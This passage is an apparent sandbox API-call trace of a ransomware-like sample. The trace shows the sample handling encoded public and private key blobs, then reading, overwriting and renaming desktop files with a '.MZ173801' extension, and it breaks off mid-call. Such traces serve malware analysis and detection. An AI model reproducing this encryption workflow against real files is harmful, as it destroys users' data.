w57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0176.101] GetCurrentThreadId () returned 0xab4 [0176.101] GetCurrentThreadId () returned 0xab4 [0176.101] GetCurrentThreadId () returned 0xab4 [0176.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.102] GetCurrentThreadId () returned 0xab4 [0176.102] GetCurrentThreadId () returned 0xab4 [0176.102] GetCurrentThreadId () returned 0xab4 [0176.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fnwhfwmallctd.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.103] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.103] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.103] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xe382 [0176.103] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.103] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xe382, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xe382, lpOverlapped=0x0) returned 1 [0176.104] CloseHandle (hObject=0x320) returned 1 [0176.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fnwhfwmallctd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.108] WriteFile (in: hFile=0x320, lpBuffer=0x24b0040*, nNumberOfBytesToWrite=0xe382, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b0040*, lpNumberOfBytesWritten=0x19fa24*=0xe382, lpOverlapped=0x0) returned 1 [0176.110] CloseHandle (hObject=0x320) returned 1 [0176.110] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fnwhfwmallctd.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\fnwhfwmallctd.wav.mz173801")) returned 1 [0176.111] GetCurrentThreadId () returned 0xab4 [0176.111] GetCurrentThreadId () returned 0xab4 [0176.111] GetCurrentThreadId () returned 0xab4 [0176.111] GetCurrentThreadId () returned 0xab4 [0176.111] GetCurrentThreadId () returned 0xab4 [0176.111] GetCurrentThreadId () returned 0xab4 [0176.111] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b78d20, ftCreationTime.dwHighDateTime=0x1d5e0ff, ftLastAccessTime.dwLowDateTime=0xea340360, ftLastAccessTime.dwHighDateTime=0x1d5ea9d, ftLastWriteTime.dwLowDateTime=0xea340360, ftLastWriteTime.dwHighDateTime=0x1d5ea9d, nFileSizeHigh=0x0, nFileSizeLow=0x9db0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="GE2XWZw-UJlajB.png", cAlternateFileName="GE2XWZ~1.PNG")) returned 1 [0176.111] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.112] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.112] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ge2xwzw-ujlajb.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b78d20, ftCreationTime.dwHighDateTime=0x1d5e0ff, ftLastAccessTime.dwLowDateTime=0xea340360, ftLastAccessTime.dwHighDateTime=0x1d5ea9d, ftLastWriteTime.dwLowDateTime=0xea340360, ftLastWriteTime.dwHighDateTime=0x1d5ea9d, nFileSizeHigh=0x0, nFileSizeLow=0x9db0)) returned 1 [0176.112] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ge2xwzw-ujlajb.png")) returned 0x20 [0176.112] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GE2XWZw-UJlajB.png", dwFileAttributes=0x80) returned 1 [0176.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.115] GetCurrentThreadId () returned 0xab4 [0176.115] GetCurrentThreadId () returned 0xab4 [0176.115] GetCurrentThreadId () returned 0xab4 [0176.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 